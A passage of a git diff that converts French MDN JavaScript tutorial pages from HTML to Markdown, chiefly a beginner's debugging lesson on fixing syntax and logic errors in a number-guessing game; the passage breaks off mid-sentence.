class="brush: js">// Ceci est un commentaire</pre> - </li> - <li>Un commentaire sur plusieurs lignes s'écrit entre deux balises /* et */, par exemple : - <pre class="brush: js">/* - Ceci est un commentaire - sur deux lignes -*/</pre> - </li> -</ul> + ```js + // Ceci est un commentaire + ``` -<p>Ainsi, vous pourriez par exemple annoter notre dernière démonstration de JavaScript de cette manière :</p> +- Un commentaire sur plusieurs lignes s'écrit entre deux balises /\* et \*/, par exemple : -<pre class="brush: js">// Fonction: créer un nouveau paragraphe et l'ajouter en bas du HTML + ```js + /* + Ceci est un commentaire + sur deux lignes + */ + ``` + +Ainsi, vous pourriez par exemple annoter notre dernière démonstration de JavaScript de cette manière : + +```js +// Fonction: créer un nouveau paragraphe et l'ajouter en bas du HTML function createParagraph() { let para = document.createElement('p'); @@ -378,29 +384,30 @@ function createParagraph() { let buttons = document.querySelectorAll('button'); -for(let i = 0; i < buttons.length ; i++) { +for(let i = 0; i < buttons.length ; i++) { buttons[i].addEventListener('click', createParagraph); -}</pre> +} +``` + +## Résumé -<h2 id="Résumé">Résumé</h2> +Et voilà votre premier pas dans le monde du JavaScript. Nous avons commencé par la théorie seule, pour vous habituer aux raisons d'utiliser JavaScript, et à ses possibilités. Vous avez pu voir quelques exemples de code et appris comment JavaScript s'intègre avec le reste du code sur votre site web, entre autres choses. -<p>Et voilà votre premier pas dans le monde du JavaScript. Nous avons commencé par la théorie seule, pour vous habituer aux raisons d'utiliser JavaScript, et à ses possibilités. Vous avez pu voir quelques exemples de code et appris comment JavaScript s'intègre avec le reste du code sur votre site web, entre autres choses.</p> +Le JavaScript peut sembler un peu impressionnant pour l'instant, mais pas d'inquiétude, ce cours progressera pas à pas. Dans le prochain article [Notre premier code JavaScript,](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) nous entrons au cœur du sujet et vous réaliserez vos propres exemples de JavaScript. -<p>Le JavaScript peut sembler un peu impressionnant pour l'instant, mais pas d'inquiétude, ce cours progressera pas à pas. Dans le prochain article <a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash">Notre premier code JavaScript,</a> nous entrons au cœur du sujet et vous réaliserez vos propres exemples de JavaScript.</p> +{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}} -<p>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</p> +## Dans ce module +- [Qu'est-ce que JavaScript ?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) +- [Un premier code JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) +- [Quel est le souci ? Analyser un problème avec JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) +- [Stocker les informations nécessaires : les variables](/fr/docs/Learn/JavaScript/First_steps/Variables) +- [Opérations mathématiques de base en JavaScript : les nombres et les opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math) +- [Gérer le texte : les chaînes de caractères en JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) +- [Les méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) +- [Les tableaux <i lang="en">(arrays)</i>](/fr/docs/Learn/JavaScript/First_steps/Arrays) -<h2 id="In_this_module">Dans ce module</h2> + <i lang="en">(arrays)</i> -<ul> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript">Qu'est-ce que JavaScript ?</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash">Un premier code JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">Quel est le souci ? Analyser un problème avec JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Variables">Stocker les informations nécessaires : les variables</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Math">Opérations mathématiques de base en JavaScript : les nombres et les opérateurs</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Strings">Gérer le texte : les chaînes de caractères en JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods">Les méthodes utiles pour les chaînes de caractères</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Arrays">Les tableaux <i lang="en">(arrays)</i></a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator">Évaluation : Générateur d'histoires aléatoires</a></li> -</ul> +- [Évaluation : Générateur d'histoires aléatoires](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) diff --git a/files/fr/learn/javascript/first_steps/what_went_wrong/index.md b/files/fr/learn/javascript/first_steps/what_went_wrong/index.md index f8ec006003..ead4a81f29 100644 --- a/files/fr/learn/javascript/first_steps/what_went_wrong/index.md +++ b/files/fr/learn/javascript/first_steps/what_went_wrong/index.md @@ -14,243 +14,258 @@ tags: - outils de développement translation_of: Learn/JavaScript/First_steps/What_went_wrong --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div> - -<p>Après avoir créé le jeu "Devinez le nombre" de l'article précédent, vous avez peut-être constaté qu'il ne fonctionnait pas. Pas de panique — cet article vise à ce que vous ne vous arrachiez pas les cheveux sur ces problèmes en donnant quelques conseils simples sur la façon de trouver et corriger les erreurs dans les programmes JavaScript.</p> +Après avoir créé le jeu "Devinez le nombre" de l'article précédent, vous avez peut-être constaté qu'il ne fonctionnait pas. Pas de panique — cet article vise à ce que vous ne vous arrachiez pas les cheveux sur ces problèmes en donnant quelques conseils simples sur la façon de trouver et corriger les erreurs dans les programmes JavaScript. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Acquérir la capacité et la confiance pour commencer à résoudre des problèmes simples dans votre propre code.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Vocabulaire courant de l'informatique, bases de HTML et CSS, + compréhension de ce que fait JavaScript. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Acquérir la capacité et la confiance pour commencer à résoudre des + problèmes simples dans votre propre code. + </td> + </tr> + </tbody> </table> -<h2 id="Types_d_erreurs">Types d' erreurs</h2> - -<p>En règle générale, les erreurs dans un code sont à ranger dans deux catégories :</p> - -<ul> - <li><strong>Erreurs de syntaxe : </strong>Ce sont les fautes d'orthographe. Elles empêchent réellement le programme de fonctionner ou l'arrêtent en cours de chemin — elles sont accompagnées de messages d'erreur. Ces erreurs sont généralement simple à corriger, pour autant que vous connaissiez les bons outils et sachiez ce que signifient les messages !</li> - <li> - <p><strong>Erreurs logiques : </strong>La syntaxe est correcte, mais le code n'est pas ce que vous attendiez : le programme tourne sans planter mais donne des résultats inattendus. Ces erreurs sont souvent plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas, en général, de message d'erreur pour vous diriger vers la source de l'erreur.</p> - </li> -</ul> - -<p>Bon, mais ce n'est pas si simple que cela — il y a d'autres facteurs de différenciation lorsque vous approfondissez. Mais la classification ci-dessus suffiira pour commencer. Nous examinerons ces deux catégories d'erreur un peu plus loin.</p> - -<h2 id="Un_exemple_erroné">Un exemple erroné</h2> - -<p>Pour commencer, revenons à notre jeu de devinettes numériques — sauf que cette fois-ci, nous explorerons une version qui comporte des erreurs délibérées. Allez sur Github et fabriquez vous-même une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> (<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">voyez-la ici</a> en direct).</p> - -<ol> - <li>Pour commencer, ouvrez la copie locale avec votre éditeur de texte favoris.</li> - <li>Essayez de lancer le jeu — vous remarquerez que quand vous pressez le bouton <kbd>Submit guess</kbd>, cela ne fonctionne pas!</li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Votre propre version de l'exemple de jeu ne fonctionne pas, vous pourriez vouloir la corriger ! Il nous semble plus efficace que vous travailliez sur notre version boguée, afin que vous puissiez apprendre les techniques que nous enseignons ici. Ensuite, vous pouvez revenir en arrière et essayer de réparer votre exemple.</p> -</div> - -<p>À ce stade, consultons la <a href="/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs">console du développeur</a> pour voir si nous pouvons voir des erreurs de syntaxe, puis essayez de les corriger. Vous apprendrez comment ci-dessous.</p> - -<h2 id="Réparer_les_erreurs_de_syntaxe">Réparer les erreurs de syntaxe</h2> +## Types d' erreurs + +En règle générale, les erreurs dans un code sont à ranger dans deux catégories : + +- **Erreurs de syntaxe :** Ce sont les fautes d'orthographe. Elles empêchent réellement le programme de fonctionner ou l'arrêtent en cours de chemin — elles sont accompagnées de messages d'erreur. Ces erreurs sont généralement simple à corriger, pour autant que vous connaissiez les bons outils et sachiez ce que signifient les messages ! +- **Erreurs logiques :** La syntaxe est correcte, mais le code n'est pas ce que vous attendiez : le programme tourne sans planter mais donne des résultats inattendus. Ces erreurs sont souvent plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas, en général, de message d'erreur pour vous diriger vers la source de l'erreur. + +Bon, mais ce n'est pas si simple que cela — il y a d'autres facteurs de différenciation lorsque vous approfondissez. Mais la classification ci-dessus suffiira pour commencer. Nous examinerons ces deux catégories d'erreur un peu plus loin. + +## Un exemple erroné + +Pour commencer, revenons à notre jeu de devinettes numériques — sauf que cette fois-ci, nous explorerons une version qui comporte des erreurs délibérées. Allez sur Github et fabriquez vous-même une copie locale de [number-game-errors.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html) ([voyez-la ici](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html) en direct). + +1. Pour commencer, ouvrez la copie locale avec votre éditeur de texte favoris. +2. Essayez de lancer le jeu — vous remarquerez que quand vous pressez le bouton + + <kbd>Submit guess</kbd> + + , cela ne fonctionne pas! + +> **Note :** Votre propre version de l'exemple de jeu ne fonctionne pas, vous pourriez vouloir la corriger ! Il nous semble plus efficace que vous travailliez sur notre version boguée, afin que vous puissiez apprendre les techniques que nous enseignons ici. Ensuite, vous pouvez revenir en arrière et essayer de réparer votre exemple. + +À ce stade, consultons la [console du développeur](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) pour voir si nous pouvons voir des erreurs de syntaxe, puis essayez de les corriger. Vous apprendrez comment ci-dessous. + +## Réparer les erreurs de syntaxe + +Antérieurement dans le cours, nous vous avons demandé de taper quelques commandes JavaScript simples dans la [console JavaScript](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) [des outils de développement](/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs) (si vous ne pouvez pas vous rappeler comment l'ouvrir dans votre navigateur, suivez le lien précédent pour savoir comment). Ce qui est encore plus utile, c'est que la console vous donne des messages d'erreur chaque fois qu'une erreur de syntaxe existe dans le JavaScript qui est introduit dans le moteur JavaScript du navigateur. Maintenant partons en chasse ! + +1. Allez à l'onglet dans lequel est affiché `number-game-errors.html`, et ouvrez la console JavaScript. Vous devriez voir un message d'erreur dans les lignes qui suivent :  +2. C'est une erreur très facile à trouver, et le navigateur vous fournit quelques indices pour vous en sortir (la copie d'écran ci‑dessus provient de Firefox, mais les autres navigateurs donnent des indications semblables). De gauche à droite, nous avons : + + - Une croix rouge indiquant que c'est une erreur. + - Un message d'erreur précisant ce qui ne va pas : "TypeError: guessSubmit.addeventListener is not a function" ("Type d'erreur : guessSubmit.addeventListener n'est pas une fonction") + - Un lien "Learn More" ("En savoir plus") pointant sur une page MDN explicitant ce que l'erreur signifie avec pléthore de détails. + - Le nom du fichier JavaScript, lié à l'onglet Debugger de l'outil de développement. Si vous suivez le lien, vous verrez exactement la ligne dans laquelle l'erreur est mise en évidence. + - Le numéro de la ligne où se situe l'erreur, et le rang du caractère dans cette ligne où l'erreur a été repérée pour la première fois. Dans notre cas, il s'agit de la ligne 86, caractère 3. + +3. En examinant la ligne 86 dans l'éditeur de code, nous voyons : + + ```js + guessSubmit.addeventListener('click', checkGuess); + ``` + +4. Le message d'erreur dit "guessSubmit.addeventListener n'est pas une fonction", donc nous avons probablement mal orthographié quelque chose. Si vous n'êtes pas sûr de la bonne orthographe d'un élément syntaxique, il est fréquemment opportun de regarder dans MDN. Actuellement, la meilleure façon d'opérer consiste à faire une recherche pour "mdn _nom-de-fonctionnalité_" avec votre moteur de recherche préféré. Voici un raccourci pour gagner un peu de temps dans le cas présent : [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener). +5. Donc, en regardant cette page, il apparaît que nous avions mal orthographié le nom de la fonction ! Souvenez-vous que JavaScript est sensible à la casse, et que la moindre différence dans l'orthographe ou la casse déclenchera une erreur. Remplacer `addeventListener` par `addEventListener` corrigera cela. Faisons‑le maintenant. + +> **Note :** Voyez la page relative à [TypeError: "x" is not a function](/fr/docs/Web/JavaScript/Reference/Errors/Not_a_function) pour plus de précisions à propos de cette erreur. + +### Erreurs de syntaxe : deuxième tour + +1. Enregistrez la page et actualisez‑la, vous constaterez que l'erreur a disparu. +2. Maintenant si vous entrez une supposition et pressez le bouton de soumission, vous constaterez ... une autre erreur !  +3. Cette fois‑ci, l'erreur rapportée est "TypeError: lowOrHi is null", à la ligne 78. + + > **Note :** [`Null`](/fr/docs/Glossary/Null) est une valeur spéciale signifiant "rien" ou "aucune valeur". Or `lowOrHi` a été déclaré et initialisé, mais sans valeur signifiante — il n'a ni type ni valeur. + + > **Note :** Cette erreur n'apparaît pas au moment du chargement de la page car elle survient à l'intérieur d'une fonction (dans `checkGuess() { ... }`). Comme vous l'apprendrez de manière plus précise plus loin dans l'article à propos des fonctions, le code dans les fonctions s'exécute dans une instance séparée du code en dehors des fonctions. Dans notre cas, le code n'avait pas été exécuté et l'erreur ne pouvait pas survenir avant que la fonction `checkGuess()` soit lancée à la ligne 86. + +4. Regardez à la ligne 78, vous verrez ce code : + + ```js + lowOrHi.textContent = 'Last guess was too high!'; + ``` + +5. La commande dans cette ligne essaie de définir la propriété `textContent` de la variable `lowOrHi` à l'aide d'une chaîne textuelle ; mais cela ne fonctionne pas car `lowOrHi` ne contient pas ce qui est attendu. Voyons voir — recherchons d'autres occurrences de `lowOrHi` dans le code. La plus proche que vous trouverez dans le JavaScript se situe à la ligne 48 : + + ```js + let lowOrHi = document.querySelector('lowOrHi'); + ``` + +6. Là, nous essayons de faire en sorte que la variable contienne une référence à un élément dans le HTML du document. Vérifions si sa valeur est `null` après que cette ligne ait été exécutée. Ajoutez le code suivant à la ligne 49 : + + ```js + console.log(lowOrHi); + ``` + + > **Note :** [`console.log()`](/fr/docs/Web/API/Console/log) est vraiment utile pour déboguer une fonction en affichant sa valeur sur la console. Donc, elle affichera sur cette dernière la valeur de `lowOrHi` que nous avons essayé de définir à la ligne 48. -<p>Antérieurement dans le cours, nous vous avons demandé de taper quelques commandes JavaScript simples dans la <a href="/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs">console JavaScript</a> <a href="/fr/docs/Apprendre/Découvrir_outils_développement_navigateurs">des outils de développement</a> (si vous ne pouvez pas vous rappeler comment l'ouvrir dans votre navigateur, suivez le lien précédent pour savoir comment). Ce qui est encore plus utile, c'est que la console vous donne des messages d'erreur chaque fois qu'une erreur de syntaxe existe dans le JavaScript qui est introduit dans le moteur JavaScript du navigateur. Maintenant partons en chasse !</p> +7. Enregistrez et actualisez la page, et vous verrez le résultat de `console.log()` sur la console.  C'est sûr, la valeur de `lowOrHi` est `null` à ce niveau ; il y a bien un problème à la ligne 48. +8. Quel est ce problème ? Réfléchissons. À la ligne 48, nous avons utilisé la méthode [`document.querySelector()`](/fr/docs/Web/API/Document/querySelector) pour obtenir une référence sur un élément avec un sélecteur CSS. En regardant plus en amont dans notre fichier, nous pouvons trouver le paragraphe en question : -<ol> - <li>Allez à l'onglet dans lequel est affiché <code>number-game-errors.html</code>, et ouvrez la console JavaScript. Vous devriez voir un message d'erreur dans les lignes qui suivent : <img alt="" src="not-a-function.png"></li> - <li>C'est une erreur très facile à trouver, et le navigateur vous fournit quelques indices pour vous en sortir (la copie d'écran ci‑dessus provient de Firefox, mais les autres navigateurs donnent des indications semblables). De gauche à droite, nous avons : - <ul> - <li>Une croix rouge indiquant que c'est une erreur.</li> - <li>Un message d'erreur précisant ce qui ne va pas : "TypeError: guessSubmit.addeventListener is not a function" ("Type d'erreur : guessSubmit.addeventListener n'est pas une fonction")</li> - <li>Un lien "Learn More" ("En savoir plus") pointant sur une page MDN explicitant ce que l'erreur signifie avec pléthore de détails.</li> - <li>Le nom du fichier JavaScript, lié à l'onglet Debugger de l'outil de développement. Si vous suivez le lien, vous verrez exactement la ligne dans laquelle l'erreur est mise en évidence.</li> - <li>Le numéro de la ligne où se situe l'erreur, et le rang du caractère dans cette ligne où l'erreur a été repérée pour la première fois. Dans notre cas, il s'agit de la ligne 86, caractère 3.</li> - </ul> - </li> - <li>En examinant la ligne 86 dans l'éditeur de code, nous voyons : - <pre class="brush: js">guessSubmit.addeventListener('click', checkGuess);</pre> - </li> - <li>Le message d'erreur dit "guessSubmit.addeventListener n'est pas une fonction", donc nous avons probablement mal orthographié quelque chose. Si vous n'êtes pas sûr de la bonne orthographe d'un élément syntaxique, il est fréquemment opportun de regarder dans MDN. Actuellement, la meilleure façon d'opérer consiste à faire une recherche pour "mdn <em>nom-de-fonctionnalité</em>" avec votre moteur de recherche préféré. Voici un raccourci pour gagner un peu de temps dans le cas présent : <code><a href="/fr/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>.</li> - <li>Donc, en regardant cette page, il apparaît que nous avions mal orthographié le nom de la fonction ! Souvenez-vous que JavaScript est sensible à la casse, et que la moindre différence dans l'orthographe ou la casse déclenchera une erreur. Remplacer <code>addeventListener</code> par <code>addEventListener</code> corrigera cela. Faisons‑le maintenant.</li> -</ol> + ```js + <p class="lowOrHi"></p> + ``` -<div class="note"> -<p><strong>Note :</strong> Voyez la page relative à <a href="/fr/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" is not a function</a> pour plus de précisions à propos de cette erreur.</p> -</div> +9. Donc, il nous faut un sélecteur de classe ici, précédé d'un point (.), alors que le sélecteur passé à la méthode `querySelector()` en ligne 48 n'en a pas. Ce pourrait être le problème ! Changeons `lowOrHi` en `.lowOrHi` à la ligne 48. +10. Enregistrons et actualisons à nouveau, et la directive `console.log()` renvoie bien l'élément `<p>` attendu. Pfff ! Une autre erreur corrigée ! On peut enlever la ligne `console.log()` maintenant, ou bien la garder pour s'y reporter plus tard — comme vous l'entendez. -<h3 id="Erreurs_de_syntaxe_deuxième_tour">Erreurs de syntaxe : deuxième tour</h3> +> **Note :** Voyez la page relative à [TypeError: "x" is (not) "y"](/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_type) pour plus de précisions à propos de cette erreur. -<ol> - <li>Enregistrez la page et actualisez‑la, vous constaterez que l'erreur a disparu.</li> - <li>Maintenant si vous entrez une supposition et pressez le bouton de soumission, vous constaterez ... une autre erreur ! <img alt="" src="variable-is-null.png"></li> - <li>Cette fois‑ci, l'erreur rapportée est "TypeError: lowOrHi is null", à la ligne 78. - <div class="note"> - <p><strong>Note :</strong> <code><a href="/fr/docs/Glossary/Null">Null</a></code> est une valeur spéciale signifiant "rien" ou "aucune valeur". Or <code>lowOrHi</code> a été déclaré et initialisé, mais sans valeur signifiante — il n'a ni type ni valeur.</p></div> +### Erreurs de syntaxe : troisième tour - <div class="note"> - <p><strong>Note :</strong> Cette erreur n'apparaît pas au moment du chargement de la page car elle survient à l'intérieur d'une fonction (dans <code>checkGuess() { ... }</code>). Comme vous l'apprendrez de manière plus précise plus loin dans l'article à propos des fonctions, le code dans les fonctions s'exécute dans une instance séparée du code en dehors des fonctions. Dans notre cas, le code n'avait pas été exécuté et l'erreur ne pouvait pas survenir avant que la fonction <code>checkGuess()</code> soit lancée à la ligne 86.</p></div> - </li> - <li>Regardez à la ligne 78, vous verrez ce code : - <pre class="brush: js">lowOrHi.textContent = 'Last guess was too high!';</pre> - </li> - <li>La commande dans cette ligne essaie de définir la propriété <code>textContent</code> de la variable <code>lowOrHi</code> à l'aide d'une chaîne textuelle ; mais cela ne fonctionne pas car <code>lowOrHi</code> ne contient pas ce qui est attendu. Voyons voir — recherchons d'autres occurrences de <code>lowOrHi</code> dans le code. La plus proche que vous trouverez dans le JavaScript se situe à la ligne 48 : - <pre class="brush: js">let lowOrHi = document.querySelector('lowOrHi');</pre> - </li> - <li>Là, nous essayons de faire en sorte que la variable contienne une référence à un élément dans le HTML du document. Vérifions si sa valeur est <code>null</code> après que cette ligne ait été exécutée. Ajoutez le code suivant à la ligne 49 : - <pre class="brush: js">console.log(lowOrHi);</pre> +1. Maintenant si vous essayez de jouer, cela ira mieux — tout se déroule correctement, jusqu'à ce que vous arriviez à la fin, soit en devinant le bon chiffre, soit en épuisant le nombre de tentatives permises. +2. Arrivé là, le jeu échoue à nouveau et vous rencontrez la même erreur qu'au début — "TypeError: resetButton.addeventListener is not a function" ! Mais cette fois‑ci, elle vient de la ligne 94. +3. En regardant cette ligne, il est facile de voir que nous avons fait ici la même erreur que précédemment. Il nous suffit de changer `addeventListener` en `addEventListener`. Faites‑le. - <div class="note"> - <p><strong>Note :</strong> <code><a href="/fr/docs/Web/API/Console/log">console.log()</a></code> est vraiment utile pour déboguer une fonction en affichant sa valeur sur la console. Donc, elle affichera sur cette dernière la valeur de <code>lowOrHi</code> que nous avons essayé de définir à la ligne 48.</p> - </div> - </li> - <li>Enregistrez et actualisez la page, et vous verrez le résultat de <code>console.log()</code> sur la console. <img alt="" src="console-log-output.png"> C'est sûr, la valeur de <code>lowOrHi</code> est <code>null</code> à ce niveau ; il y a bien un problème à la ligne 48.</li> - <li>Quel est ce problème ? Réfléchissons. À la ligne 48, nous avons utilisé la méthode <code><a href="/fr/docs/Web/API/Document/querySelector">document.querySelector()</a></code> pour obtenir une référence sur un élément avec un sélecteur CSS. En regardant plus en amont dans notre fichier, nous pouvons trouver le paragraphe en question : - <pre class="brush: js"><p class="lowOrHi"></p></pre> - </li> - <li>Donc, il nous faut un sélecteur de classe ici, précédé d'un point (.), alors que le sélecteur passé à la méthode <code>querySelector()</code> en ligne 48 n'en a pas. Ce pourrait être le problème ! Changeons <code>lowOrHi</code> en <code>.lowOrHi</code> à la ligne 48.</li> - <li>Enregistrons et actualisons à nouveau, et la directive <code>console.log()</code> renvoie bien l'élément <code><p></code> attendu. Pfff ! Une autre erreur corrigée ! On peut enlever la ligne <code>console.log()</code> maintenant, ou bien la garder pour s'y reporter plus tard — comme vous l'entendez.</li> -</ol> +## Une erreur de logique -<div class="note"> -<p><strong>Note :</strong> Voyez la page relative à <a href="/fr/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" is (not) "y"</a> pour plus de précisions à propos de cette erreur.</p> -</div> +À ce stade, le jeu se déroule correctement, mais après avoir fait quelques parties, vous noterez sans doute que le nombre « aléatoire » à deviner est toujours 0 ou 1. Franchement, de quoi vous dégoûter de jouer ! -<h3 id="Erreurs_de_syntaxe_troisième_tour">Erreurs de syntaxe : troisième tour</h3> +Il y a sûrement un problème dans la logique du jeu quelque part — le jeu ne renvoie pas d'erreur ; il ne fonctionne pas correctement. -<ol> - <li>Maintenant si vous essayez de jouer, cela ira mieux — tout se déroule correctement, jusqu'à ce que vous arriviez à la fin, soit en devinant le bon chiffre, soit en épuisant le nombre de tentatives permises.</li> - <li>Arrivé là, le jeu échoue à nouveau et vous rencontrez la même erreur qu'au début — "TypeError: resetButton.addeventListener is not a function" ! Mais cette fois‑ci, elle vient de la ligne 94.</li> - <li>En regardant cette ligne, il est facile de voir que nous avons fait ici la même erreur que précédemment. Il nous suffit de changer <code>addeventListener</code> en <code>addEventListener</code>. Faites‑le.</li> -</ol> +1. Recherchons les lignes où la variable `randomNumber` est définie. L'instance qui stocke en début de jeu le nombre aléatoire à deviner se situe autour de la ligne 44 : -<h2 id="Une_erreur_de_logique">Une erreur de logique</h2> + ```js + let randomNumber = Math.floor(Math.random()) + 1; + ``` -<p>À ce stade, le jeu se déroule correctement, mais après avoir fait quelques parties, vous noterez sans doute que le nombre « aléatoire » à deviner est toujours 0 ou 1. Franchement, de quoi vous dégoûter de jouer !</p> + Et celle qui génére le nombre aléatoire pour une succession de jeux se situe autour de la ligne 113 : -<p>Il y a sûrement un problème dans la logique du jeu quelque part — le jeu ne renvoie pas d'erreur ; il ne fonctionne pas correctement.</p> + ```js + randomNumber = Math.floor(Math.random()) + 1; + ``` -<ol> - <li>Recherchons les lignes où la variable <code>randomNumber</code> est définie. L'instance qui stocke en début de jeu le nombre aléatoire à deviner se situe autour de la ligne 44 : +2. Pour vérifier si ces lignes sont vraiment à l'origine du problème, faisons appel à nouveau à notre ami `console.log()` — insérons la ligne suivante directement en dessous des deux lignes indiquées plus haut : - <pre class="brush: js">let randomNumber = Math.floor(Math.random()) + 1;</pre> - Et celle qui génére le nombre aléatoire pour une succession de jeux se situe autour de la ligne 113 : + ```js + console.log(randomNumber); + ``` - <pre class="brush: js">randomNumber = Math.floor(Math.random()) + 1;</pre> - </li> - <li>Pour vérifier si ces lignes sont vraiment à l'origine du problème, faisons appel à nouveau à notre ami <code>console.log()</code> — insérons la ligne suivante directement en dessous des deux lignes indiquées plus haut : - <pre class="brush: js">console.log(randomNumber);</pre> - </li> - <li>Enregistrons, actualisons et jouons quelques parties — on constate que <code>randomNumber</code> est égal à 1 quel que soit le point où il est raccordé à la console.</li> -</ol> +3. Enregistrons, actualisons et jouons quelques parties — on constate que `randomNumber` est égal à 1 quel que soit le point où il est raccordé à la console. -<h3 id="Travaillons_la_logique">Travaillons la logique</h3> +### Travaillons la logique -<p>Pour corriger cela, examinons d'abord le fonctionnement de cette ligne. Premièrement, appelons <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code>, qui génére un nombre décimal aléatoire compris entre 0 et 1, par exemple 0.5675493843.</p> +Pour corriger cela, examinons d'abord le fonctionnement de cette ligne. Premièrement, appelons [`Math.random()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/random), qui génére un nombre décimal aléatoire compris entre 0 et 1, par exemple 0.5675493843. -<pre class="brush: js">Math.random()</pre> +```js +Math.random() +``` -<p>Puis, nous passons le résultat de l'appel de <code>Math.random()</code> à <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>, qui arrondit le nombre passé à l'entier inférieur le plus proche. Puis, on ajoute 1 au résultat :</p> +Puis, nous passons le résultat de l'appel de `Math.random()` à [`Math.floor()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Math/floor), qui arrondit le nombre passé à l'entier inférieur le plus proche. Puis, on ajoute 1 au résultat : -<pre>Math.floor(Math.random()) + 1</pre> + Math.floor(Math.random()) + 1 -<p>Garder la partie entière d'un nombre décimal compris entre 0 et 1 renvoie toujours 0, y ajouter 1 donne toujours 1. Il faut multiplier le nombre aléatoire par 100 avant de l'arrondir par défaut. La ligne suivante nous donne un entier aléatoire entre 0 et 99 :</p> +Garder la partie entière d'un nombre décimal compris entre 0 et 1 renvoie toujours 0, y ajouter 1 donne toujours 1. Il faut multiplier le nombre aléatoire par 100 avant de l'arrondir par défaut. La ligne suivante nous donne un entier aléatoire entre 0 et 99 : -<pre class="brush: js">Math.floor(Math.random()*100);</pre> +```js +Math.floor(Math.random()*100); +``` -<p>Maintenant ajoutons 1 pour obtenir un nombre aléatoire entre 1 et 100 :</p> +Maintenant ajoutons 1 pour obtenir un nombre aléatoire entre 1 et 100 : -<pre class="brush: js">Math.floor(Math.random()*100) + 1;</pre> +```js +Math.floor(Math.random()*100) + 1; +``` -<p>Modifiez ces deux lignes comme indiqué, enregistrez, actualisez — le jeu devrait maintenant fonctionner comme il faut !</p> +Modifiez ces deux lignes comme indiqué, enregistrez, actualisez — le jeu devrait maintenant fonctionner comme il faut ! -<h2 id="Autres_erreurs_courantes">Autres erreurs courantes</h2> +## Autres erreurs courantes -<p>D'autres erreurs courantes peuvent être commises en écrivant du code. Ce paragraphe attire votre attention sur la plupart d'entre elles.</p> +D'autres erreurs courantes peuvent être commises en écrivant du code. Ce paragraphe attire votre attention sur la plupart d'entre elles. -<h3 id="SyntaxError_missing_before_statement">SyntaxError: missing ; before statement</h3> +### SyntaxError: missing ; before statement -<p>Cette erreur signale généralement l'oubli du point‑virgule à la fin d'une ligne de code ; mais elle peut se révéler parfois plus énigmatique. Par exemple, si, dans la fonction <code>checkGuess(),</code>nous modifions cette ligne :</p> +Cette erreur signale généralement l'oubli du point‑virgule à la fin d'une ligne de code ; mais elle peut se révéler parfois plus énigmatique. Par exemple, si, dans la fonction `checkGuess(),`nous modifions cette ligne : -<pre class="brush: js">let userGuess = Number(guessField.value);</pre> +```js +let userGuess = Number(guessField.value); +``` -<p>en</p> +en -<pre class="brush: js">let userGuess === Number(guessField.value);</pre> +```js +let userGuess === Number(guessField.value); +``` -<p>cela déclenchera cette même erreur car le logiciel pense que vous êtes en train de faire quelque chose d'autre. Vous devez vous assurer que vous n'avez pas confondu l'opérateur d'assignation (<code>=</code>) — qui fixe une valeur donnée à une variable — avec l'opérateur (<code>===</code>) qui teste la stricte égalité de deux valeurs, et renvoie un résultat <code>true</code>/<code>false</code> (vrai/faux).</p> +cela 